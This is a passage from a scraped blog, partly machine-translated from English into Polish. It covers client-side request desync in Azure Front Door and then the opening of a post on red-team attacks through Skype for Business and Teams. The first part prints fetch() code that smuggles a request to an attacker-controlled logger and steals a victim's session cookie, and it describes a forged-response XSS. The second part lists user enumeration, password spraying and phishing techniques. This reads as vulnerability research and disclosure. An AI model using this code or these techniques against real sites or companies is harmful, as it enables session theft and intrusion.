stanu 307:</span><img alt="Przekierowania Front Door z 307" src="https://blog.jeti.pw/frontdoor-redirect-307.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Serwer obsługuje połączenia utrzymujące aktywność:</span><img alt="Front Door obsługuje połączenia utrzymujące aktywność" src="https://blog.jeti.pw/frontdoor-keep-alive-connections.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">I przekierowuje również żądania POST:</span><img alt="Front Door przekierowuje żądania POST" src="https://blog.jeti.pw/frontdoor-redirect-post-requests.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Ale problem polega na tym, że całkowicie ignoruje </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">Content-Length</code><span style="box-sizing: inherit; vertical-align: inherit;">nagłówek:</span><img alt="Front Door ignoruje Content-Length" src="https://blog.jeti.pw/frontdoor-ignores-content-length.png" style="box-sizing: inherit; display: block; max-width: 100%;" /><span style="box-sizing: inherit; vertical-align: inherit;">to, co wygląda na dwa żądania, jest w rzeczywistości jednym żądaniem wysłanym przez przeglądarkę internetową, w którym żółte pole zawiera dane dla żądania POST ( </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">Content-Length</code><span style="box-sizing: inherit; vertical-align: inherit;">nagłówek wskazuje na koniec danych).</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Ale serwer Front Door ignoruje </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">Content-Length</code><span style="box-sizing: inherit; vertical-align: inherit;">nagłówek i traktuje go jako dwa oddzielne żądania.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Inną interesującą cechą Front Door (oczywiście nie jest to błąd) jest to, że wszystkie serwery klientów obsługiwane przez usługę Front Door są dostępne pod jednym adresem IP i są również dostępne w jednym utrzymywanym połączeniu (jest to usługa CDN, prawda?) . </span><span style="box-sizing: inherit; vertical-align: inherit;">Jest to więc całkowicie poprawny zestaw żądań wysyłanych w jednym połączeniu TCP:</span></span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><img alt="Front Door udostępnia połączenia" src="https://blog.jeti.pw/frontdoor-sharing-connections.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><blockquote style="border-bottom: 1px solid rgb(120, 226, 160); border-top: 1px solid rgb(120, 226, 160); box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin: 40px 0px; padding: 25px;"><p style="box-sizing: inherit; margin-bottom: 0px; margin-top: 0px; position: relative;"><strong style="box-sizing: inherit;">UWAGA 1: </strong><em style="box-sizing: inherit;">azure-victim.jeti.pw</em><span style="box-sizing: inherit; vertical-align: inherit;"> i </span><em style="box-sizing: inherit;">azure-attacker.jeti.pw</em><span style="box-sizing: inherit; vertical-align: inherit;"> to dwa oddzielne serwery WWW dwóch oddzielnych klientów (użyłem niestandardowych domen dla lepszej widoczności).</span></p></blockquote><blockquote style="border-bottom: 1px solid rgb(120, 226, 160); border-top: 1px solid rgb(120, 226, 160); box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin: 40px 0px; padding: 25px;"><p style="box-sizing: inherit; margin-bottom: 0px; margin-top: 0px; position: relative;"><strong style="box-sizing: inherit;">UWAGA 2: serwer </strong><em style="box-sizing: inherit;">azure-attacker.jeti.pw</em><span style="box-sizing: inherit; vertical-align: inherit;"> nie ma włączonych automatycznych przekierowań HTTPS, dlatego nie odpowiada przekierowaniem (może to mieć znaczenie dla różnych technik eksploatacyjnych).</span></p></blockquote><h2 id="exploit" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 1.4rem; font-variant-ligatures: contextual; letter-spacing: -0.32px; line-height: 1.3; margin-top: 40px;"><span style="box-sizing: inherit; vertical-align: inherit;">Wykorzystaj </span><a arialabel="Anchor" class="hanchor" href="https://blog.jeti.pw/posts/knocking-on-the-front-door/#exploit" style="box-sizing: inherit; color: rgba(120, 226, 160, 0.9); margin-left: 10px; text-decoration-line: none; visibility: hidden;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;"></span></span></a></h2><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Atak CSD rozpoczyna się od odwiedzenia przez ofiarę strony internetowej atakującego, po czym jej przeglądarka wysyła dwa żądania między domenami do podatnej witryny. </span><span style="box-sizing: inherit; vertical-align: inherit;">Pierwsze żądanie jest tworzone w celu desynchronizacji połączenia przeglądarki i wywołania szkodliwego żądania/odpowiedzi przez drugie żądanie.</span></span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Istnieje wiele sposobów, w jaki osoba atakująca może wykorzystać ten problem z desynchronizacją. </span><span style="box-sizing: inherit; vertical-align: inherit;">Skupię się na dwóch możliwych sposobach.</span></span></p><h3 id="stealing-requests" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 1.4rem; font-variant-ligatures: contextual; letter-spacing: -0.32px; line-height: 1.3; margin-top: 40px;"><span style="box-sizing: inherit; vertical-align: inherit;">Kradzież żądań </span><a arialabel="Anchor" class="hanchor" href="https://blog.jeti.pw/posts/knocking-on-the-front-door/#stealing-requests" style="box-sizing: inherit; color: rgba(120, 226, 160, 0.9); margin-left: 10px; text-decoration-line: none; visibility: hidden;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;"></span></span></a></h3><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Wyobraźmy sobie, że po wizycie ofiary witryna atakującego wysyła żądanie (np. za pomocą Java Script </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">fetch API</code><span style="box-sizing: inherit; vertical-align: inherit;">):</span></p><div class="highlight" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px;"><div class="code-toolbar" style="border: 1px solid rgba(255, 255, 255, 0.1); box-sizing: inherit; margin: 40px 0px; padding: 20px; position: relative;"><pre class="language-javascript" style="background: rgb(39, 40, 34); border: none; box-sizing: inherit; color: #f8f8f2; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-size: 1em; hyphens: none; line-height: 1.5; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;" tabindex="0"><code class="language-javascript" data-lang="javascript" style="background: none; border: none; box-sizing: inherit; color: inherit; display: block; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 1em; hyphens: none; line-height: 1.5; margin: 0px; overflow-wrap: normal; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;"><span class="token function" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">fetch</span><span class="token punctuation" style="box-sizing: inherit; color: white;">(</span><span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">'http://azure-victim.jeti.pw/x'</span><span class="token punctuation" style="box-sizing: inherit; color: white;">,</span> <span class="token punctuation" style="box-sizing: inherit; color: white;">{</span>
method<span class="token operator" color="rgba(120, 226, 160, 0.7) !important" style="box-sizing: inherit;">:</span> <span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">'POST'</span><span class="token punctuation" style="box-sizing: inherit; color: white;">,</span>
body<span class="token operator" color="rgba(120, 226, 160, 0.7) !important" style="box-sizing: inherit;">:</span> <span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">"POST /logger HTTP/1.1\r\nHost: azure-attacker.jeti.pw\r\nContent-Length: 200\r\n\r\n"</span><span class="token punctuation" style="box-sizing: inherit; color: white;">,</span>
mode<span class="token operator" color="rgba(120, 226, 160, 0.7) !important" style="box-sizing: inherit;">:</span> <span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">'no-cors'</span><span class="token punctuation" style="box-sizing: inherit; color: white;">,</span>
redirect<span class="token operator" color="rgba(120, 226, 160, 0.7) !important" style="box-sizing: inherit;">:</span> <span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">'follow'</span><span class="token punctuation" style="box-sizing: inherit; color: white;">,</span>
credentials<span class="token operator" color="rgba(120, 226, 160, 0.7) !important" style="box-sizing: inherit;">:</span> <span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">'include'</span>
<span class="token punctuation" style="box-sizing: inherit; color: white;">}</span><span class="token punctuation" style="box-sizing: inherit; color: white;">)</span>
</code></pre><div class="toolbar" style="box-sizing: inherit; opacity: 0; position: absolute; right: 0.2em; top: 0.3em; transition: opacity 0.3s ease-in-out 0s;"><div class="toolbar-item" style="box-sizing: inherit; display: inline-block;"><button class="copy-to-clipboard-button" data-copy-state="copy" style="align-items: center; appearance: none; background: rgba(224, 224, 224, 0.2); border-color: initial; border-radius: 0.5em; border-style: initial; border-width: 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 0px 0px; box-sizing: inherit; color: #bbbbbb; cursor: pointer; display: flex; font-family: inherit; font-feature-settings: inherit; font-kerning: inherit; font-optical-sizing: inherit; font-size: 0.8em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-variation-settings: inherit; font-weight: inherit; justify-content: center; margin: 6px; outline: none; overflow: visible; padding: 0px 0.5em; position: relative; user-select: none;" type="button"><span style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Kopiuj</span></span></button></div></div></div></div><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><img alt="Niekompletne żądanie za pomocą funkcji fetch()" src="https://blog.jeti.pw/frontdoor-fetch-incomplete-request.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Usługa Front Door traktuje to jako dwa osobne żądania, z których drugie jest żądaniem POST z dołączoną treścią (długość 200 bajtów).</span></p><blockquote style="border-bottom: 1px solid rgb(120, 226, 160); border-top: 1px solid rgb(120, 226, 160); box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin: 40px 0px; padding: 25px;"><p style="box-sizing: inherit; margin-bottom: 0px; margin-top: 0px; position: relative;"><strong style="box-sizing: inherit;">UWAGA:</strong><span style="box-sizing: inherit; vertical-align: inherit;"> pamiętaj, że </span><em style="box-sizing: inherit;">azure-attacker.jeti.pw</em><span style="box-sizing: inherit; vertical-align: inherit;"> jest skonfigurowany tak, aby nie przekierowywał automatycznie, więc serwer sprawdza </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">Content-Length</code><span style="box-sizing: inherit; vertical-align: inherit;">w tym przypadku.</span></p></blockquote><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Ponieważ brakuje treści żądania, serwer będzie czekał na 200 bajtów danych, aby zakończyć żądanie. </span><span style="box-sizing: inherit; vertical-align: inherit;">Wszystko, co musi zrobić atakujący, to przekierować użytkownika ofiary na stronę ofiary:</span></span></p><div class="highlight" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px;"><div class="code-toolbar" style="border: 1px solid rgba(255, 255, 255, 0.1); box-sizing: inherit; margin: 40px 0px; padding: 20px; position: relative;"><pre class="language-javascript" style="background: rgb(39, 40, 34); border: none; box-sizing: inherit; color: #f8f8f2; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-size: 1em; hyphens: none; line-height: 1.5; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;" tabindex="0"><code class="language-javascript" data-lang="javascript" style="background: none; border: none; box-sizing: inherit; color: inherit; display: block; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 1em; hyphens: none; line-height: 1.5; margin: 0px; overflow-wrap: normal; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;">location <span class="token operator" color="rgba(120, 226, 160, 0.7) !important" style="box-sizing: inherit;">=</span> <span class="token string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">'http://azure-victim.jeti.pw/'</span>
</code></pre><div class="toolbar" style="box-sizing: inherit; opacity: 0; position: absolute; right: 0.2em; top: 0.3em; transition: opacity 0.3s ease-in-out 0s;"><div class="toolbar-item" style="box-sizing: inherit; display: inline-block;"><button class="copy-to-clipboard-button" data-copy-state="copy" style="align-items: center; appearance: none; background: rgba(224, 224, 224, 0.2); border-color: initial; border-radius: 0.5em; border-style: initial; border-width: 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 0px 0px; box-sizing: inherit; color: #bbbbbb; cursor: pointer; display: flex; font-family: inherit; font-feature-settings: inherit; font-kerning: inherit; font-optical-sizing: inherit; font-size: 0.8em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-variation-settings: inherit; font-weight: inherit; justify-content: center; margin: 6px; outline: none; overflow: visible; padding: 0px 0.5em; position: relative; user-select: none;" type="button"><span style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Kopiuj</span></span></button></div></div></div></div><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Przeglądarka ofiary wyśle kolejne żądanie GET (w większości przypadków przeglądarka ponownie użyje tego samego połączenia). </span><span style="box-sizing: inherit; vertical-align: inherit;">Oba żądania będą wyglądać następująco:</span></span><img alt="Kompletne żądanie Frontdoor" src="https://blog.jeti.pw/frontdoor-completed-request.png" style="box-sizing: inherit; display: block; max-width: 100%;" /><span style="box-sizing: inherit; vertical-align: inherit;">Serwer otrzymał 200 bajtów danych i wysłał żądanie POST do </span><a href="http://azure-attacker.jeti.pw/logger" style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">http://azure-attacker.jeti.pw/logger</span></a><span style="box-sizing: inherit; vertical-align: inherit;"> z następującymi </span><strong style="box-sizing: inherit;">danymi</strong><span style="box-sizing: inherit; vertical-align: inherit;"> :</span></p><div class="highlight" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px;"><div class="code-toolbar" style="border: 1px solid rgba(255, 255, 255, 0.1); box-sizing: inherit; margin: 40px 0px; padding: 20px; position: relative;"><pre class="language-http" style="background: rgb(39, 40, 34); border: none; box-sizing: inherit; color: #f8f8f2; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-size: 1em; hyphens: none; line-height: 1.5; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;" tabindex="0"><code class="language-http" data-lang="http" style="background: none; border: none; box-sizing: inherit; color: inherit; display: block; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 1em; hyphens: none; line-height: 1.5; margin: 0px; overflow-wrap: normal; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;"><span class="token request-line" style="box-sizing: inherit;"><span class="token method property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">GET</span> <span class="token request-target url" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">/</span> <span class="token http-version property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">HTTP/1.1</span></span>
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Host:</span> azure-victim.jeti.pw
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Accept-Encoding:</span> gzip, deflate
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Accept:</span> */*
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Cookie:</span> PHPSESSID=uhogavedhcduei7qlfh1eplf7c
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Accept-Language:</span> en-US;q=0.9,en;q=0.8
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">User-Agent:</span> Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Connection:</span> keep-alive
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Cache-Control:</span> max-age=0
</code></pre><div class="toolbar" style="box-sizing: inherit; opacity: 0; position: absolute; right: 0.2em; top: 0.3em; transition: opacity 0.3s ease-in-out 0s;"><div class="toolbar-item" style="box-sizing: inherit; display: inline-block;"><button class="copy-to-clipboard-button" data-copy-state="copy" style="align-items: center; appearance: none; background: rgba(224, 224, 224, 0.2); border-color: initial; border-radius: 0.5em; border-style: initial; border-width: 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 0px 0px; box-sizing: inherit; color: #bbbbbb; cursor: pointer; display: flex; font-family: inherit; font-feature-settings: inherit; font-kerning: inherit; font-optical-sizing: inherit; font-size: 0.8em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-variation-settings: inherit; font-weight: inherit; justify-content: center; margin: 6px; outline: none; overflow: visible; padding: 0px 0.5em; position: relative; user-select: none;" type="button"><span style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Kopiuj</span></span></button></div></div></div></div><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">I skutecznie atakujący ukradł plik cookie sesji ofiary.</span></p><h3 id="universal-xss-by-forging-responses" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 1.4rem; font-variant-ligatures: contextual; letter-spacing: -0.32px; line-height: 1.3; margin-top: 40px;"><span style="box-sizing: inherit; vertical-align: inherit;">„Uniwersalny” XSS poprzez fałszowanie odpowiedzi </span><a arialabel="Anchor" class="hanchor" href="https://blog.jeti.pw/posts/knocking-on-the-front-door/#universal-xss-by-forging-responses" style="box-sizing: inherit; color: rgba(120, 226, 160, 0.9); margin-left: 10px; text-decoration-line: none; visibility: hidden;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;"></span></span></a></h3><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;">Another way of expoiting a CSD vulnerability is to forge responses to the victim’s requests.</p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;">Let’s have a look at following request sent by the browser when victim visits malicious website (sent via <code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">fetch API</code>):<img alt="Reakcja zatrucia za pomocą XSS" src="https://blog.jeti.pw/frontdoor-xss-request.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;">Front Door service again treats it as two separate requests and sends both to respective customer websites. And receives 2 separate responses.</p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;">But the victim’s browser sent only one request so it expects only one response (307 redirect in our case). Second part stays in the connection pool waiting for another request to match (because of the HTTP pipelining).</p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;">When attacker redirects a victim, browser makes another request.</p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Ale na szczęście dla atakującego przeglądarka ma już odpowiedź oczekującą w puli połączeń (w naszym przykładzie odpowiedź zawiera ładunek XSS, który zostanie uruchomiony w kontekście strony internetowej, na którą została przekierowana ofiara).</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Ponieważ atakujący może przekierować ofiarę na dowolną witrynę obsługiwaną przez Front Door i sfałszować odpowiedź, myślę, że można to nazwać „uniwersalnym” XSS :)</span></p><h1 id="timeline" style="box-sizing: inherit; line-height: 1.3; margin-top: 40px;"><span style="color: white; font-family: Fira Code, Monaco, Consolas, Ubuntu Mono, monospace;"><span style="font-size: 22.4px; font-variant-ligatures: contextual; letter-spacing: -0.32px;">https://blog.jeti.pw/posts/knocking-on-the-front-door/</span></span></h1></div></div></article></div><footer class="footer" style="background-color: #1f222a; box-sizing: inherit; color: white; flex-grow: 0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; opacity: 0.5; padding: 40px 0px;"><div class="footer__inner" style="align-items: center; box-sizing: inherit; display: flex; justify-content: space-between; margin: 0px; max-width: 100%; width: 760px;"><div class="copyright" style="align-items: center; box-sizing: inherit; display: flex; flex-flow: wrap; flex: 1 1 0%; font-size: 1rem; justify-content: center;"></div></div></footer>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-79936881237147800332023-02-14T21:32:00.003+01:002023-02-16T08:16:38.173+01:00Skype, MS Teams, Lync - Red Team style <main aria-label="Treść" class="page-content" style="flex: 1 1 0%; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; padding: 30px 0px;"><div class="wrapper" style="margin-left: auto; margin-right: auto; max-width: calc(740px); padding-left: 30px; padding-right: 30px;"><article class="post h-entry" itemscope="" itemtype="http://schema.org/BlogPosting"><header class="post-header" style="margin-bottom: 30px;"><h1 class="post-title p-name" itemprop="name headline" style="font-size: 42px; font-weight: 400; letter-spacing: -1px; line-height: 1; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">Jak Twój komunikator używany do komunikacji wewnętrznej może zagrozić Twojej firmie</span></h1><p class="post-meta" style="font-size: 14px; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; font-size: 16px;">Jak Twój komunikator używany do komunikacji wewnętrznej (Teams lub S4B) może zagrozić Twojej firmie</span></p></header><div class="post-content e-content" itemprop="articleBody" style="margin-bottom: 30px;"><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">W tym wpisie na blogu przedstawiono niektóre techniki dotyczące komunikatorów Microsoft Skype-for-Business (S4B) i Microsoft Teams dotyczące atakowania sieci firmowej.</span></p><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Poniżej przedstawiono tylko niektóre dobrze znane techniki, które działają zbyt często, a firmy i pracownicy nie są tego świadomi. </span><span style="vertical-align: inherit;">Wskaźnik sukcesu tego rodzaju phishingu/inżynierii społecznej </span></span>jest bardzo wysoki.<br /><br /><br /></span></p><span style="color: white;"><a name='more'></a></span><p style="margin: 0px 0px 15px; padding: 0px;"><span style="color: white;"><span style="vertical-align: inherit;">Większość nazwanych punktów pochodzi z bloga </span><a href="https://www.mdsec.co.uk/2017/04/penetration-testing-skype-for-business-exploiting-the-missing-lync/" style="text-decoration-line: none;">mdsec</a><span style="vertical-align: inherit;"> lub </span><a href="https://mrd0x.com/microsoft-teams-abuse/" style="text-decoration-line: none;">mr.d0x</a><span style="vertical-align: inherit;"> .</span></span></p><h1 id="tldr" style="font-weight: 400; margin: 0px 0px 15px; padding: 0px;"><span style="color: white; vertical-align: inherit;">dr</span></h1><ul style="margin: 0px 0px 15px 30px; padding: 0px;"><li><span style="color: white; vertical-align: inherit;">S4B w wersji hostowanej samodzielnie umożliwia wyliczanie użytkowników na podstawie czasu i rozpylanie haseł w całej usłudze Active Directory, a nie tylko w przypadku użytkowników posiadających konto Skype</span></li><li><span style="color: white; vertical-align: inherit;">S4B, jeśli włączona jest komunikacja zewnętrzna, umożliwia atakującym wysyłanie wiadomości bezpośrednio do pracowników</span></li><li><span style="color: white; vertical-align: inherit;">Teams, nawet jeśli komunikacja zewnętrzna jest zabroniona, pozwala na wyliczanie użytkowników poprzez adresy e-mail,</span></li><li><span style="color: white; vertical-align: inherit;">Zespoły, jeśli komunikacja zewnętrzna jest włączona, umożliwiają wyliczanie użytkowników, gromadzenie informacji o statusie i wysyłanie wiadomości bezpośrednio do pracowników przez osoby atakujące</span></li><li><span style="color: white;"><span style="vertical-align: inherit;">Jeśli używany jest adres aliasu, np </span><code class="language-plaintext highlighter-rouge" style="background-color: #eeeeff; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; padding: 